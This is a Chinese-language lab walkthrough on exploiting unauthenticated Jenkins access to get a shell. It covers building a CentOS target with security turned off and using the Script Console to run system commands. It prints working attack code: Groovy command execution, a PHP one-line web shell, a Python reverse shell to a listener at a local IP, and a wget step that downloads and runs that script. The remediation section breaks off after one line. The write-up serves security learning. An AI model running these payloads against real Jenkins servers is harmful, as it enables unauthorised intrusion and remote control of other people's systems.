一、Jenkins介绍

1.1 什么是Jenkins?

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。

1.2 Jenkins的功能

Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:
用于持续性、自动的构建/测试软件
项目监控或跑一些定时任务
监控外部调用执行的工作

1.3 Jenkins的漏洞简介及危害

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

1.4 Jenkins的漏洞成因

1、使用低版本的Jenkins,默认没有登录控制
2、有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
3、控制台使用了弱密码
4、Jenkins系统后台中可以执行系统脚本命令

二、靶场搭建

服务器: Centos 8
IP: 192.168.241.129

2.1 下载 Jenkins 并安装

地址:
官方:http://mirrors.jenkins.io
镜像:https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/

wget https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/jenkins-2.258-1.1.noarch.rpm

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_python脚本


安装JAVA环境

yum install java-1.8.0-openjdk.x86_64  -y

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_php_02


安装 jenkins 并启动

rpm -ivh jenkins-2.258-1.1.noarch.rpm
service jenkins start

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_03

2.2 配置 Jenkins

浏览器访问 8080 端口,将密码复制粘贴过去

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_04


之后下一步:选择 安装推荐的插件

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_python脚本_05


设置一个新的用户名、密码,我没设置,选择的“使用admin账户继续”

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_06


成功登录进去

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_php_07

2.3 配置 Jenkins 不用账号密码即可登录

但是再次访问 http://192.168.241.129:8080/ 需要admin的账户密码,有点繁琐,为了方便,设置 Jenkins 不使用账号密码即可登录

vi  /var/lib/jenkins/config.xml

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_python脚本_08


重启 Jenkins

systemctl restart jenkins

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_python脚本_09


再次访问 http://192.168.241.129:8080/ 不需要账号密码即可进管理后台

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_10


注意:

防火墙配置需要关闭防火墙或者开通8080端口,其它主机才可以访问服务器的8080端口

systemctl stop firewalld.service

三、漏洞复现

3.1 发现漏洞

访问目标网站存在 Jenkins 未授权访问漏洞

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_11

3.2 漏洞利用

点击 系统管理

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_php_12


之后,下拉找到脚本控制台,点击脚本控制台

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_python脚本_13


执行并打印系统命令

println "whoami".execute().text
println "ifconfig".execute().text

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_14

如果知道web站点目录可写入一句话shell,例如:

new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');

本案例,无WEB站点,那么通过脚本反弹shell,看看行不行

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_15


但是发现 kali 监听端并没有反弹shell

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_16


换一个思路先上传python脚本,然后利用python脚本生成一个bash反弹shell

ft.py 脚本内容:

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.241.128",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

将 ft.py 脚本放在本地WEB服务器上,之后在 jenkins 上执行命令,去WEB服务器上下载 ft.py 到 /tmp/目录下

println "wget http://192.168.241.1/ft.py -P /tmp/".execute().text

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_php_17


执行python脚本 ft.py

println "python3 /tmp/ft.py".execute().text

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_18


kali 成功接收到反弹的 shell

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins_19

四、修复建议

1、配置Jenkins登录验证